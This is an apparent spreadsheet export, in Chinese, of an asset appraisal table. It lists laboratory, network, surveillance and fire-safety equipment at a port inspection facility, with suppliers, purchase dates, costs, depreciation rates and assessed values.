[38,"视频监控设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01","套",1,{"v":923076.9,"d":"923,076.90"},{"v":923076.9,"d":"923,076.90"},{"v":923076.9,"d":"923,076.90"},{"v":923076.9,"d":"923,076.90"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":923076.9,"d":"923,076.90"},{"v":923076.9,"d":"923,076.90"},1.83,8.17,10,{"v":0.817,"d":"81.70%"},{"v":0.79,"d":"79%"},{"$nulls":3},{"v":0.8008,"d":"80.08%"},{"v":0.8,"d":"80%"},{"v":738461.52,"d":"738,461.52"},0.03,{"v":27692.31,"d":"27,692.31"}]
[39,"数码照相机","D610","建发（武汉）有限公司","2016-10-01","套",1,{"v":11794.87,"d":"11,794.87"},{"v":11794.87,"d":"11,794.87"},{"v":11794.87,"d":"11,794.87"},{"v":11794.87,"d":"11,794.87"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":11794.87,"d":"11,794.87"},{"v":11794.87,"d":"11,794.87"},1.5,6.5,8,{"v":0.8125,"d":"81.25%"},{"v":0.78,"d":"78%"},{"$nulls":3},{"v":0.793,"d":"79.30%"},{"v":0.79,"d":"79%"},{"v":9317.95,"d":"9,317.95"},0.03,353.85]
[40,"通道视频监控系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":48461.54,"d":"48,461.54"},{"v":48461.54,"d":"48,461.54"},{"v":48461.54,"d":"48,461.54"},{"v":48461.54,"d":"48,461.54"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":48461.54,"d":"48,461.54"},{"v":48461.54,"d":"48,461.54"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":46038.46,"d":"46,038.46"}]
[41,"网络监控设备",0,"南京贝尔德网络工程有限公司","2015-12-01","套",1,{"v":340000,"d":"340,000.00"},{"v":340000,"d":"340,000.00"},{"v":340000,"d":"340,000.00"},{"v":340000,"d":"340,000.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":340000,"d":"340,000.00"},{"v":340000,"d":"340,000.00"},2.33,7.67,10,{"v":0.767,"d":"76.70%"},{"v":0.74,"d":"74%"},{"$nulls":3},{"v":0.7508,"d":"75.08%"},{"v":0.75,"d":"75%"},{"v":255000,"d":"255,000.00"}]
[42,"网络监控设备",0,"南京市秦淮区强瑞电子经营部","2015-12-01","批",1,{"v":8700,"d":"8,700.00"},{"v":8700,"d":"8,700.00"},{"v":8700,"d":"8,700.00"},{"v":8700,"d":"8,700.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":8700,"d":"8,700.00"},{"v":8700,"d":"8,700.00"},2.33,7.67,10,{"v":0.767,"d":"76.70%"},{"v":0.74,"d":"74%"},{"$nulls":3},{"v":0.7508,"d":"75.08%"},{"v":0.75,"d":"75%"},{"v":6525,"d":"6,525.00"}]
[43,"系统数据对接服务接口(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":48717.95,"d":"48,717.95"}]
[44,"箱号识别系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":110957.26,"d":"110,957.26"},{"v":110957.26,"d":"110,957.26"},{"v":110957.26,"d":"110,957.26"},{"v":110957.26,"d":"110,957.26"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":110957.26,"d":"110,957.26"},{"v":110957.26,"d":"110,957.26"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":105409.4,"d":"105,409.40"}]
[45,"有害生物远程鉴定系统","V2.0-A","南京金哲顺仪器设备有限公司","2015-12-01","套",1,{"v":70000,"d":"70,000.00"},{"v":70000,"d":"70,000.00"},{"v":70000,"d":"70,000.00"},{"v":70000,"d":"70,000.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":70000,"d":"70,000.00"},{"v":70000,"d":"70,000.00"},2.33,7.67,10,{"v":0.767,"d":"76.70%"},{"v":0.74,"d":"74%"},{"$nulls":3},{"v":0.7508,"d":"75.08%"},{"v":0.75,"d":"75%"},{"v":52500,"d":"52,500.00"}]
[46,"闸口放行监控系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":241111.11,"d":"241,111.11"},{"v":241111.11,"d":"241,111.11"},{"v":241111.11,"d":"241,111.11"},{"v":241111.11,"d":"241,111.11"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":241111.11,"d":"241,111.11"},{"v":241111.11,"d":"241,111.11"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":229055.55,"d":"229,055.55"}]
[47,"制发卡系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":25786.32,"d":"25,786.32"},{"v":25786.32,"d":"25,786.32"},{"v":25786.32,"d":"25,786.32"},{"v":25786.32,"d":"25,786.32"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":25786.32,"d":"25,786.32"},{"v":25786.32,"d":"25,786.32"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":24497,"d":"24,497.00"}]
[48,"智能人工气候箱","PRX-350D","上海谷宁仪器有限公司","2015-12-01","台",1,{"v":10500,"d":"10,500.00"},{"v":10500,"d":"10,500.00"},{"v":10500,"d":"10,500.00"},{"v":10500,"d":"10,500.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":10500,"d":"10,500.00"},{"v":10500,"d":"10,500.00"},2.33,7.67,10,{"v":0.767,"d":"76.70%"},{"v":0.74,"d":"74%"},{"$nulls":3},{"v":0.7508,"d":"75.08%"},{"v":0.75,"d":"75%"},{"v":7875,"d":"7,875.00"}]
[49,"UPS","20KVA,三进三出，2小时","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":84921.12,"d":"84,921.12"},{"v":84921.12,"d":"84,921.12"},{"v":84921.12,"d":"84,921.12"},{"v":84921.12,"d":"84,921.12"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":84921.12,"d":"84,921.12"},{"v":84921.12,"d":"84,921.12"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":72182.95,"d":"72,182.95"}]
[50,"安全网关","SecGate3600","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":77338.04,"d":"77,338.04"},{"v":77338.04,"d":"77,338.04"},{"v":77338.04,"d":"77,338.04"},{"v":77338.04,"d":"77,338.04"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":77338.04,"d":"77,338.04"},{"v":77338.04,"d":"77,338.04"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":65737.33,"d":"65,737.33"}]
[51,"冰箱","FYL-YS-100L","建发（武汉）有限公司","2016-10-01","套",2,{"v":5470.09,"d":"5,470.09"},{"v":2735.05,"d":"2,735.05"},{"v":2735.05,"d":"2,735.05"},{"v":5470.1,"d":"5,470.10"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":2735.05,"d":"2,735.05"},{"v":5470.1,"d":"5,470.10"},1.5,4.5,6,{"v":0.75,"d":"75.00%"},{"v":0.72,"d":"72%"},{"$nulls":3},{"v":0.732,"d":"73.20%"},{"v":0.73,"d":"73%"},{"v":3993.17,"d":"3,993.17"}]
[52,"操作系统（Window 2008 server微软正版授权）10用户",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",2,{"v":20512.82,"d":"20,512.82"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":20512.82,"d":"20,512.82"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":10256.41,"d":"10,256.41"},{"v":20512.82,"d":"20,512.82"},1.33,28.67,30,{"v":0.9557,"d":"95.57%"},{"v":0.93,"d":"93%"},{"$nulls":3},{"v":0.9403,"d":"94.03%"},{"v":0.94,"d":"94%"},{"v":19282.05,"d":"19,282.05"}]
[53,"超低温冰箱","DW-HL540","建发（武汉）有限公司","2016-10-01","套",1,{"v":49145.3,"d":"49,145.30"},{"v":49145.3,"d":"49,145.30"},{"v":49145.3,"d":"49,145.30"},{"v":49145.3,"d":"49,145.30"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":49145.3,"d":"49,145.30"},{"v":49145.3,"d":"49,145.30"},1.5,4.5,6,{"v":0.75,"d":"75.00%"},{"v":0.72,"d":"72%"},{"$nulls":3},{"v":0.732,"d":"73.20%"},{"v":0.73,"d":"73%"},{"v":35876.07,"d":"35,876.07"}]
[54,"超声波清洗器","SB-5200DTN","建发（武汉）有限公司","2016-10-01","套",2,{"v":7008.55,"d":"7,008.55"},{"v":3504.28,"d":"3,504.28"},{"v":3504.28,"d":"3,504.28"},{"v":7008.56,"d":"7,008.56"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":3504.28,"d":"3,504.28"},{"v":7008.56,"d":"7,008.56"},1.5,4.5,6,{"v":0.75,"d":"75.00%"},{"v":0.72,"d":"72%"},{"$nulls":3},{"v":0.732,"d":"73.20%"},{"v":0.73,"d":"73%"},{"v":5116.25,"d":"5,116.25"}]
[55,"电锯","GKS235","建发（武汉）有限公司","2016-10-01","套",1,{"v":1367.52,"d":"1,367.52"},{"v":1367.52,"d":"1,367.52"},{"v":1367.52,"d":"1,367.52"},{"v":1367.52,"d":"1,367.52"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":1367.52,"d":"1,367.52"},{"v":1367.52,"d":"1,367.52"},1.5,4.5,6,{"v":0.75,"d":"75.00%"},{"v":0.72,"d":"72%"},{"$nulls":3},{"v":0.732,"d":"73.20%"},{"v":0.73,"d":"73%"},998.29]
[56,"电源防雷器B级","第二级AM2-40/3+NPE","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":4578.49,"d":"4,578.49"},{"v":4578.49,"d":"4,578.49"},{"v":4578.49,"d":"4,578.49"},{"v":4578.49,"d":"4,578.49"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":4578.49,"d":"4,578.49"},{"v":4578.49,"d":"4,578.49"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":3891.72,"d":"3,891.72"}]
[57,"电源防雷器C级","AM3-20/3+NPE","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":4128.15,"d":"4,128.15"},{"v":4128.15,"d":"4,128.15"},{"v":4128.15,"d":"4,128.15"},{"v":4128.15,"d":"4,128.15"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":4128.15,"d":"4,128.15"},{"v":4128.15,"d":"4,128.15"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":3508.93,"d":"3,508.93"}]
[58,"二层交换机","WS-C2960X-24TD-L","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",3,{"v":47434,"d":"47,434.00"},{"v":15811.33,"d":"15,811.33"},{"v":15811.33,"d":"15,811.33"},{"v":47433.99,"d":"47,433.99"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":15811.33,"d":"15,811.33"},{"v":47433.99,"d":"47,433.99"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":40318.89,"d":"40,318.89"}]
[59,"服务器机柜","42U:800*1100*2000","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":19691.41,"d":"19,691.41"},{"v":19691.41,"d":"19,691.41"},{"v":19691.41,"d":"19,691.41"},{"v":19691.41,"d":"19,691.41"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":19691.41,"d":"19,691.41"},{"v":19691.41,"d":"19,691.41"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":16737.7,"d":"16,737.70"}]
[60,"伽马探测器（含支撑结构）",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":130769.24,"d":"130,769.24"}]
[61,"感温探测器","JTY-GD-JBF-3100","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","只",2,259.83,129.92,129.92,259.84,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},129.92,259.84,1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},220.86]
[62,"感烟探测器","JTW-ZD-JBF-3110","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","只",2,259.83,129.92,129.92,259.84,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},129.92,259.84,1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},220.86]
[63,"高级生物显微镜","M205  FA","建发（武汉）有限公司","2016-10-01","套",1,{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":269572.65,"d":"269,572.65"}]
[64,"高级体视显微镜","DM5000  B","建发（武汉）有限公司","2016-10-01","套",1,{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":324786.32,"d":"324,786.32"},{"v":324786.32,"d":"324,786.32"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":269572.65,"d":"269,572.65"}]
[65,"高精度便携式溴甲烷检测仪","PN-3500-CH3Br","建发（武汉）有限公司","2016-10-01","套",1,{"v":16239.32,"d":"16,239.32"},{"v":16239.32,"d":"16,239.32"},{"v":16239.32,"d":"16,239.32"},{"v":16239.32,"d":"16,239.32"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":16239.32,"d":"16,239.32"},{"v":16239.32,"d":"16,239.32"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":13478.64,"d":"13,478.64"}]
[66,"高压灭菌锅","MLS-3751L-PC","建发（武汉）有限公司","2016-10-01","套",1,{"v":43803.42,"d":"43,803.42"},{"v":43803.42,"d":"43,803.42"},{"v":43803.42,"d":"43,803.42"},{"v":43803.42,"d":"43,803.42"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":43803.42,"d":"43,803.42"},{"v":43803.42,"d":"43,803.42"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":36356.84,"d":"36,356.84"}]
[67,"工业空调","FVY125DQV2CB","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":31212.16,"d":"31,212.16"},{"v":31212.16,"d":"31,212.16"},{"v":31212.16,"d":"31,212.16"},{"v":31212.16,"d":"31,212.16"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":31212.16,"d":"31,212.16"},{"v":31212.16,"d":"31,212.16"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":26530.34,"d":"26,530.34"}]
[68,"光照培养箱","MLR-352H-PC","建发（武汉）有限公司","2016-10-01","套",1,{"v":84273.5,"d":"84,273.50"},{"v":84273.5,"d":"84,273.50"},{"v":84273.5,"d":"84,273.50"},{"v":84273.5,"d":"84,273.50"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":84273.5,"d":"84,273.50"},{"v":84273.5,"d":"84,273.50"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":69947.01,"d":"69,947.01"}]
[69,"基础硬件",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":34871.79,"d":"34,871.79"}]
[15,"集装箱正面吊车","CRS4532","浙江美科斯叉车有限公司","2016-03-01","台",1,{"v":2213675.22,"d":"2,213,675.22"},{"v":2213675.22,"d":"2,213,675.22"},{"v":2213675.22,"d":"2,213,675.22"},{"v":2213675.22,"d":"2,213,675.22"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":2213675.22,"d":"2,213,675.22"},{"v":2213675.22,"d":"2,213,675.22"},2.08,12.92,15,{"v":0.8613,"d":"86.13%"},{"v":0.83,"d":"83%"},{"$nulls":3},{"v":0.8425,"d":"84.25%"},{"v":0.84,"d":"84%"},{"v":1859487.18,"d":"1,859,487.18"}]
[71,"监管区低压安装工程",0,"上饶市金泰电力安装有限责任公司","2015-12-01","项",1,{"v":368321,"d":"368,321.00"},{"v":368321,"d":"368,321.00"},{"v":368321,"d":"368,321.00"},{"v":368321,"d":"368,321.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":368321,"d":"368,321.00"},{"v":368321,"d":"368,321.00"},2.33,22.67,25,{"v":0.9068,"d":"90.68%"},{"v":0.88,"d":"88%"},{"$nulls":3},{"v":0.8907,"d":"89.07%"},{"v":0.89,"d":"89%"},{"v":327805.69,"d":"327,805.69"}]
[72,"检验检疫场站管理软件",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":291453,"d":"291,453.00"},{"v":291453,"d":"291,453.00"},{"v":291453,"d":"291,453.00"},{"v":291453,"d":"291,453.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":291453,"d":"291,453.00"},{"v":291453,"d":"291,453.00"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":247735.05,"d":"247,735.05"}]
[73,"近红外检测仪机器数据处理系统","smarteye1700-wd","建发（武汉）有限公司","2016-10-01","套",1,{"v":122222.22,"d":"122,222.22"},{"v":122222.22,"d":"122,222.22"},{"v":122222.22,"d":"122,222.22"},{"v":122222.22,"d":"122,222.22"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":122222.22,"d":"122,222.22"},{"v":122222.22,"d":"122,222.22"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":101444.44,"d":"101,444.44"}]
[74,"九江瑞昌口岸监管区系统设备",0,"深圳市航通智能技术有限公司","2017-06-01","项",1,{"v":779825.67,"d":"779,825.67"},{"v":779825.67,"d":"779,825.67"},{"v":779825.67,"d":"779,825.67"},{"v":779825.67,"d":"779,825.67"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":779825.67,"d":"779,825.67"},{"v":779825.67,"d":"779,825.67"},0.83,14.17,15,{"v":0.9447,"d":"94.47%"},{"v":0.91,"d":"91%"},{"$nulls":3},{"v":0.9239,"d":"92.39%"},{"v":0.92,"d":"92%"},{"v":717439.62,"d":"717,439.62"}]
[75,"离心机(1)","MiniSpin plus","建发（武汉）有限公司","2016-10-01","套",1,{"v":18376.07,"d":"18,376.07"},{"v":18376.07,"d":"18,376.07"},{"v":18376.07,"d":"18,376.07"},{"v":18376.07,"d":"18,376.07"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":18376.07,"d":"18,376.07"},{"v":18376.07,"d":"18,376.07"},1.5,18.5,20,{"v":0.925,"d":"92.50%"},{"v":0.9,"d":"90%"},{"$nulls":3},{"v":0.91,"d":"91.00%"},{"v":0.91,"d":"91%"},{"v":16722.22,"d":"16,722.22"}]
[76,"列头柜",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":21304.05,"d":"21,304.05"},{"v":21304.05,"d":"21,304.05"},{"v":21304.05,"d":"21,304.05"},{"v":21304.05,"d":"21,304.05"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":21304.05,"d":"21,304.05"},{"v":21304.05,"d":"21,304.05"},1.33,6.67,8,{"v":0.8338,"d":"83.38%"},{"v":0.8,"d":"80%"},{"$nulls":3},{"v":0.8135,"d":"81.35%"},{"v":0.81,"d":"81%"},{"v":17256.28,"d":"17,256.28"}]
[77,"路由器","CISCO2911/K9","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",2,{"v":22010.21,"d":"22,010.21"},{"v":11005.11,"d":"11,005.11"},{"v":11005.11,"d":"11,005.11"},{"v":22010.22,"d":"22,010.22"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":11005.11,"d":"11,005.11"},{"v":22010.22,"d":"22,010.22"},1.33,18.67,20,{"v":0.9335,"d":"93.35%"},{"v":0.9,"d":"90%"},{"$nulls":3},{"v":0.9134,"d":"91.34%"},{"v":0.91,"d":"91%"},{"v":20029.3,"d":"20,029.30"}]
[78,"灭火药剂","HFC-227EA","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","kg",35,{"v":7878.68,"d":"7,878.68"},225.11,225.11,{"v":7878.85,"d":"7,878.85"},"近期购入",null,0,null,0,null,null,0,{"$nulls":5},0,1.33,18.67,20,{"v":0.9335,"d":"93.35%"},{"v":0.9,"d":"90%"},{"$nulls":3},{"v":0.9134,"d":"91.34%"},{"v":0.91,"d":"91%"},0]
[79,"诺顿网络版防病毒软件",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},1.33,18.67,20,{"v":0.9335,"d":"93.35%"},{"v":0.9,"d":"90%"},{"$nulls":3},{"v":0.9134,"d":"91.34%"},{"v":0.91,"d":"91%"},{"v":9333.33,"d":"9,333.33"}]
[80,"七氟丙烷灭火装置","GQQ50/2.5-QL","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":6495.85,"d":"6,495.85"},{"v":6495.85,"d":"6,495.85"},{"v":6495.85,"d":"6,495.85"},{"v":6495.85,"d":"6,495.85"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":6495.85,"d":"6,495.85"},{"v":6495.85,"d":"6,495.85"},1.33,10.67,12,{"v":0.8892,"d":"88.92%"},{"v":0.86,"d":"86%"},{"$nulls":3},{"v":0.8717,"d":"87.17%"},{"v":0.87,"d":"87%"},{"v":5651.39,"d":"5,651.39"}]
[81,"气体灭火控制器","JB-QB-21S-VFC3010A/CE2(100)","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":6856.73,"d":"6,856.73"},{"v":6856.73,"d":"6,856.73"},{"v":6856.73,"d":"6,856.73"},{"v":6856.73,"d":"6,856.73"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":6856.73,"d":"6,856.73"},{"v":6856.73,"d":"6,856.73"},1.33,10.67,12,{"v":0.8892,"d":"88.92%"},{"v":0.86,"d":"86%"},{"$nulls":3},{"v":0.8717,"d":"87.17%"},{"v":0.87,"d":"87%"},{"v":5965.36,"d":"5,965.36"}]
[82,"气浴摇床","TALBOYS 5000IR","建发（武汉）有限公司","2016-10-01","套",1,{"v":64102.56,"d":"64,102.56"},{"v":64102.56,"d":"64,102.56"},{"v":64102.56,"d":"64,102.56"},{"v":64102.56,"d":"64,102.56"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":64102.56,"d":"64,102.56"},{"v":64102.56,"d":"64,102.56"},1.5,6.5,8,{"v":0.8125,"d":"81.25%"},{"v":0.78,"d":"78%"},{"$nulls":3},{"v":0.793,"d":"79.30%"},{"v":0.79,"d":"79%"},{"v":50641.02,"d":"50,641.02"}]
[83,"弱电工程",0,"南京贝尔德网络工程有限公司","2016-02-01","套",1,{"v":167364.95,"d":"167,364.95"},{"v":167364.95,"d":"167,364.95"},{"v":167364.95,"d":"167,364.95"},{"v":167364.95,"d":"167,364.95"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":167364.95,"d":"167,364.95"},{"v":167364.95,"d":"167,364.95"},2.16,22.84,25,{"v":0.9136,"d":"91.36%"},{"v":0.88,"d":"88%"},{"$nulls":3},{"v":0.8934,"d":"89.34%"},{"v":0.89,"d":"89%"},{"v":148954.81,"d":"148,954.81"}]
[84,"三层交换机","WS-C3750X-24T-E","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":40903.24,"d":"40,903.24"},{"v":40903.24,"d":"40,903.24"},{"v":40903.24,"d":"40,903.24"},{"v":40903.24,"d":"40,903.24"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":40903.24,"d":"40,903.24"},{"v":40903.24,"d":"40,903.24"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":34767.75,"d":"34,767.75"}]
[85,"生物安全柜","AC2-4S1","建发（武汉）有限公司","2016-10-01","套",1,{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},1.5,10.5,12,{"v":0.875,"d":"87.50%"},{"v":0.85,"d":"85%"},{"$nulls":3},{"v":0.86,"d":"86.00%"},{"v":0.86,"d":"86%"},{"v":38957.27,"d":"38,957.27"}]
[86,"声光报警器","JBF-VM1372B","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","只",2,314.94,157.47,157.47,314.94,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},157.47,314.94,1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":267.7,"d":"267.70"}]
